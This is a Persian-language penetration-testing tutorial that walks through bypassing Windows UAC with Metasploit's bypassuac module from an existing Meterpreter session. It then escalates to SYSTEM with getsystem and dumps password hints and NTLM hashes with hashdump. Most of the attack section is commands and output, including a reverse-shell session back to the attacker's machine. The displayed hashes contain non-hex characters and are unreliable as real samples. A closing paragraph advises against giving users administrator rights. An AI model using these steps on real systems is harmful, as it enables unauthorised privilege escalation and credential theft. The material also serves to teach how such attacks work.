احسان امجدی
کارشناس امنیت اطلاعات و ارتباطات

آموزش دور زدن (ByPass) UAC در کالی لینوکس و بالا بردن دسترسی

در این آموزش میخواهیم دسترسی را در ویندوز از طریق دور زدن یا ByPass کردن UAC بالا ببریم. همانطور که در آموزش های قبلی نیز به آن اشاره کردیم، پیش نیاز ادامه کار، مطالعه آموزش های کالی لینوکس و یا مسلط بودن به مبحث است. با ما همراه باشید:

دوره های شبکه، برنامه نویسی، مجازی سازی، امنیت، نفوذ و ... با برترین های ایران
سرفصل های این مطلب
  1. مقدمه
  2. دور زدن UAC

مقدمه

کاربر مدیر در یک ویندوز از اختیارات بالایی برخوردار است، اما مواردی وجود دارد که حتی کاربر مدیر هم نمیتواند انجام دهد! کاربر "root" در لینوکس یک کاربر فوق العاده قدرتمند است و در ویندوز معادل چنین کاربری، یوزر "system" می باشد.(User Access Control (UAC یک نقطه قوت امنیتی است که به علت حساسیت بالای آن، در نسخه های پیشین ویندوز بیشتر یک مزاحم به نظر می آمد و به همین علت بسیاری از شرکت ها در تنظیمات خود آن را غیر فعال میکنند.

اما UAC در ویندوز 7 بخوبی کار میکند و مشکلات پیشین را برای کاربر ایجاد نمیکند و استفاده از آن حتی در پایین ترین سطح امنیت یعنی ویندوز XP هم جلوی بسیاری از حملات را میگیرد. حتی مواقعی هم که با سطح کاربر "Administrator” از طریق Metasploit به ویندوز ریموت میزنیم، UAC جلوی برخی از فعالیت ها مانند بدست آوردن هش های پسورد را میگیرد.

اما یک ماژول قدرتمند برای دور زدن UAC در Meterpreter وجود دارد که بما این امکان را میدهد تا این محدودیت را دور بزنیم و دسترسی در سطح "system" بگیریم؛ البته تمام این حرف ها زمانی درست از آب در میآید که کاربری که ما آن را مورد تهدید قرار میدهیم، کاربر "Administrator" باشد.در این آموزش خواهیم آموخت که چگونه دسترسی را از سطح "Administrator" به سطح "System" با دور زدن UAC و ایجاد یک session جدید، ارتقاء دهیم.

دور زدن UAC

کار را با یک Meterpreter session از پیش فعال شده با یک ویندوز 7 و یوزری در سطح "Administrator" در آن آغاز میکنیم.

1.از آنجایی که طبق گفته بالا در یک Meterpreter session فعال قرار داریم، در گام اول با وارد کردن دستور "background" به محیط Meterpreter دستور عقب گرد داده و به محیط msf prompt بر میگردیم. سپس با اجرای فرمان "sessions" خواهیم دید که تنها Meterpreter session فعال session1 است:

Meterpreter > background
[*] Backgrounding session 1 …
Msf exploit(handler) > sessions



بالا بردن سطح دسترسی در ویندوز با دور زدن (User Access Control (UAC از طریق لینوکس کالی

2. حالا باید ازexploit مربوط به bypassuac استفاده کنیم:

Msf exploit(handler) > use exploit/windows/local/bypassuac

3. عبارت "show options" را وارد کرده تا آپشن های مورد نیاز خودمان را مشاهده کنیم:

Msf exploit(bypassuac) > show options
بالا بردن سطح دسترسی در ویندوز با دور زدن (User Access Control (UAC از طریق لینوکس کالی

4. تنها آپشنی که نیاز به تنظیم آن داریم "set session" است. با استفاده از دستور "set" کار را انجام میدهیم:

Msf exploit(bypassuac) > set session 1
session => 1

5. و در نهایت دستور "exploit" را برای اجرای ماژول UAC وارد کنید:

  • نکته: مجدد تذکر میدهیم که این آموزش با فرض انجام تنظیمات قبلی در آموزش های پیشین کالی بیان میشود.
Msf exploit(bypassuac) > exploit

[*] Started reversed handler on 192.168.198.134:4444
[*] UAC is Enabled, checking level …
[*] UAC is set to default
[*] BypassUAC can bypass this setting, continuing …
[*] Checking admin status …
[*] Part of Administrators group! Continuing …
[*] Uploading the bypass UAC executable to the file system …
[*] Meterpreter stager executable 73802 bytes long being uploaded …
[*] Uploaded the agent to the file system ….
[*] Sending stage (752128 bytes) to the 192.168.198.132
[*] Meterpreter session 2 opened (192.168.198.137:4444 -> 192.168.198.132:49645)
At 2015-04-20 11:26:31  -0400

Meterpreter >

بسیار عالی میتوانید ببینید که کاربر در حقیقت عضوی از گروه Administartor است، دور زدن UAC انجام شد و یک session جدید ایجاد گردید.حالا اگر مجددا از دستور "getuid" استفاده کنیم، خواهیم دید که هنوز هم بما میگوید که یوزر فعلی "Ehsan" است (یا هر یوزر دیگر) اما اگر توانستیم دستور "get sestem" را اجرایی کنیم، دور زدن ما با موفقیت انجام شده است:

Meterpreter > getuid
Server username: WIN-LOANLOTDQLU\Ehsan
Meterpreter > getsystem
...got system (via technique 1).
got system (via technique 1).
Meterpreter >

حال اگر مجددا دستور "getuid" را وارد کنیم، بما نشان خواهد داد که در حقیقت دارای دسترسی در حد system هستیم.

Meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Meterpreter >

حال اگر بخواهیم با خیال راحت میتوانیم از طریق دستور زیر هش های پسورد سیستم از میان بر داریم:

Meterpreter > run post/windows/gather/hashdump
[*] obtaining the boot key …
[*] calculating the hboot key using SYSKEY ba8fa74a3510155758f4444c588b8952 …
[*] Obtaining the user list and keys …
[*] Decrypting user keys …
[*] Dumping password hints …

Ehsan:”password”
Ali:”25Al!45”
Mohammad:”Secured”

بخش اول دستور وارد شده همانطور که در بالا دیدید، پسوردها سه یوزر را در سیستم هدف نشان میدهد و در بخش آخر میتوانیم هش های واقعی سیستم را ببینیم:

[*] Dumping password hashes…


Administrator:500:aad2d685948555dfg256325489kj:85477gh6954112333:::
Guest:501: aad2d685948555dfg256325489kj:85477gh6954112333:::
Ehsan:1000: aad2d685948555dfg256325489kj:85477gh6954112333:::
Ali:1001: aad2d685948555dfg256325489kj:85g4475599631h22d74cb:::
Mohammad:1003: aad2d685948555dfg256325489kj:88411fgf121b411d44vf:::

در پایان این نکته را با هم مرور خواهیم کرد دور زدن UAC در این آموزش به این علت امکان پذیر بود که ما یوزری که در اختیار داشتیم، دارای سطح دسترسی Administrator بود. این نکته ضروریست که یوزر ها همیشه باید در سطحی پایین تر از Administrator باشند چرا که در کنار تمام قدرتی که یوزر با سطح دسترسی Administrator در اختیار دارد، مسائل امنیتی جدی را با خود یدک میکشد.


احسان امجدی
احسان امجدی

کارشناس امنیت اطلاعات و ارتباطات

احسان امجدی ، مشاور امنیت اطلاعات و ارتباطات و تست نفوذ سنجی ، هکر کلاه سفید ، مدرس دوره های تخصصی امنیت اطلاعات و شبکه ، تخصص در حوزه های سرویس های مایکروسافت ، Routing و Switching ، مجازی سازی ، امنیت اطلاعات و تست نفوذ ، کشف جرائم رایانه ای و سیستم عامل لینوکس ، متخصص در حوزه SOC و ...

نظرات